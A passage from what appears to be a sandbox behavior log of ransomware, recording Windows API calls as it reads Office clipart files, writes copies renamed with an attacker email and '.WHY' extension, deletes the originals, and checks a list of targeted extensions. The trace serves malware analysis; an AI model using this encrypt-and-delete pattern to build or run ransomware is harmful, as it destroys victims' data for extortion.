0x3b4 [0248.263] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=7372) returned 1 [0248.263] CloseHandle (hObject=0x3b4) returned 1 [0248.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0248.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0248.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.704] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.704] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.707] GetLastError () returned 0x0 [0248.707] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0248.754] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0248.760] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.760] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.761] SetEndOfFile (hFile=0x3b4) returned 1 [0248.761] CloseHandle (hObject=0x3b4) returned 1 [0248.762] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.762] SetEndOfFile (hFile=0x3ac) returned 1 [0248.769] CloseHandle (hObject=0x3ac) returned 1 [0248.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0248.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.789] lstrlenW (lpString=".doc") returned 4 [0248.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.790] lstrlenW (lpString=".docx") returned 5 [0248.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.790] lstrlenW (lpString=".pdf") returned 4 [0248.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.790] lstrlenW (lpString=".xls") returned 4 [0248.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.790] lstrlenW (lpString=".xlsx") returned 5 [0248.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.790] lstrlenW (lpString=".ppt") returned 4 [0248.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.790] lstrlenW (lpString=".zip") returned 4 [0248.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.790] lstrlenW (lpString=".rar") returned 4 [0248.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.791] lstrlenW (lpString=".bz2") returned 4 [0248.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.791] lstrlenW (lpString=".7z") returned 3 [0248.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.791] lstrlenW (lpString=".dbf") returned 4 [0248.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.791] lstrlenW (lpString=".1cd") returned 4 [0248.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.791] lstrlenW (lpString=".jpg") returned 4 [0248.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.792] lstrlenW (lpString=".doc") returned 4 [0248.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.792] lstrlenW (lpString=".docx") returned 5 [0248.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.792] lstrlenW (lpString=".pdf") returned 4 [0248.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.792] lstrlenW (lpString=".xls") returned 4 [0248.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.792] lstrlenW (lpString=".xlsx") returned 5 [0248.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.792] lstrlenW (lpString=".ppt") returned 4 [0248.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.792] lstrlenW (lpString=".zip") returned 4 [0248.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.793] lstrlenW (lpString=".rar") returned 4 [0248.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.793] lstrlenW (lpString=".bz2") returned 4 [0248.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.793] lstrlenW (lpString=".7z") returned 3 [0248.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.793] lstrlenW (lpString=".dbf") returned 4 [0248.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.793] lstrlenW (lpString=".1cd") returned 4 [0248.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0248.794] lstrlenW (lpString=".jpg") returned 4 [0248.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.794] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0248.794] lstrlenW (lpString="AN02559_.WMF") returned 12 [0248.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.802] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=6632) returned 1 [0248.802] CloseHandle (hObject=0x384) returned 1 [0248.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0248.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0248.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.803] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.803] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0250.142] GetLastError () returned 0x0 [0250.143] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x19e8, lpOverlapped=0x0) returned 1 [0250.262] WriteFile (in: hFile=0x3ac, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0250.880] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.880] WriteFile (in: hFile=0x3ac, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.880] SetEndOfFile (hFile=0x3ac) returned 1 [0251.309] CloseHandle (hObject=0x3ac) returned 1 [0251.315] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.315] SetEndOfFile (hFile=0x384) returned 1 [0251.331] CloseHandle (hObject=0x384) returned 1 [0251.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0251.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0251.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.422] lstrlenW (lpString=".doc") returned 4 [0251.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.422] lstrlenW (lpString=".docx") returned 5 [0251.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.422] lstrlenW (lpString=".pdf") returned 4 [0251.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.422] lstrlenW (lpString=".xls") returned 4 [0251.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.422] lstrlenW (lpString=".xlsx") returned 5 [0251.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.423] lstrlenW (lpString=".ppt") returned 4 [0251.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.423] lstrlenW (lpString=".zip") returned 4 [0251.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.423] lstrlenW (lpString=".rar") returned 4 [0251.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.423] lstrlenW (lpString=".bz2") returned 4 [0251.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.423] lstrlenW (lpString=".7z") returned 3 [0251.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.423] lstrlenW (lpString=".dbf") returned 4 [0251.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.424] lstrlenW (lpString=".1cd") returned 4 [0251.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.424] lstrlenW (lpString=".jpg") returned 4 [0251.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.424] lstrlenW (lpString=".doc") returned 4 [0251.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.424] lstrlenW (lpString=".docx") returned 5 [0251.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.425] lstrlenW (lpString=".pdf") returned 4 [0251.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.425] lstrlenW (lpString=".xls") returned 4 [0251.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.425] lstrlenW (lpString=".xlsx") returned 5 [0251.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.425] lstrlenW (lpString=".ppt") returned 4 [0251.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.425] lstrlenW (lpString=".zip") returned 4 [0251.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.425] lstrlenW (lpString=".rar") returned 4 [0251.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.426] lstrlenW (lpString=".bz2") returned 4 [0251.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.426] lstrlenW (lpString=".7z") returned 3 [0251.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.426] lstrlenW (lpString=".dbf") returned 4 [0251.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.426] lstrlenW (lpString=".1cd") returned 4 [0251.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0251.426] lstrlenW (lpString=".jpg") returned 4 [0251.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.427] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0251.427] lstrlenW (lpString="AN03500_.WMF") returned 12 [0251.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.428] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=9240) returned 1 [0251.428] CloseHandle (hObject=0x390) returned 1 [0251.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0251.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0251.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.429] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.430] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0251.431] GetLastError () returned 0x0 [0251.431] ReadFile (in: hFile=0x390, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x2418, lpOverlapped=0x0) returned 1 [0251.467] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x2420, lpOverlapped=0x0) returned 1 [0251.471] ReadFile (in: hFile=0x390, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.471] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.471] SetEndOfFile (hFile=0x3b4) returned 1 [0252.015] CloseHandle (hObject=0x3b4) returned 1 [0252.027] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.027] SetEndOfFile (hFile=0x390) returned 1 [0258.301] CloseHandle (hObject=0x390) returned 1 [0259.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0259.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0259.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.524] lstrlenW (lpString=".doc") returned 4 [0259.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.524] lstrlenW (lpString=".docx") returned 5 [0259.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0259.524] lstrlenW (lpString=".pdf") returned 4 [0259.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.524] lstrlenW (lpString=".xls") returned 4 [0259.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.525] lstrlenW (lpString=".xlsx") returned 5 [0259.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0259.525] lstrlenW (lpString=".ppt") returned 4 [0259.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.525] lstrlenW (lpString=".zip") returned 4 [0259.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.525] lstrlenW (lpString=".rar") returned 4 [0259.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.525] lstrlenW (lpString=".bz2") returned 4 [0259.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.525] lstrlenW (lpString=".7z") returned 3 [0259.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.525] lstrlenW (lpString=".dbf") returned 4 [0259.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.526] lstrlenW (lpString=".1cd") returned 4 [0259.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.526] lstrlenW (lpString=".jpg") returned 4 [0259.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.526] lstrlenW (lpString=".doc") returned 4 [0259.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.526] lstrlenW (lpString=".docx") returned 5 [0259.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0259.527] lstrlenW (lpString=".pdf") returned 4 [0259.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.527] lstrlenW (lpString=".xls") returned 4 [0259.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.527] lstrlenW (lpString=".xlsx") returned 5 [0259.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0259.527] lstrlenW (lpString=".ppt") returned 4 [0259.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.527] lstrlenW (lpString=".zip") returned 4 [0259.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.527] lstrlenW (lpString=".rar") returned 4 [0259.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.528] lstrlenW (lpString=".bz2") returned 4 [0259.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.528] lstrlenW (lpString=".7z") returned 3 [0259.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.528] lstrlenW (lpString=".dbf") returned 4 [0259.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.529] lstrlenW (lpString=".1cd") returned 4 [0259.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0259.529] lstrlenW (lpString=".jpg") returned 4 [0259.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.530] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0259.530] lstrlenW (lpString="AN04196_.WMF") returned 12 [0259.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0259.531] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=3144) returned 1 [0259.531] CloseHandle (hObject=0x164) returned 1 [0259.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0259.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0259.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 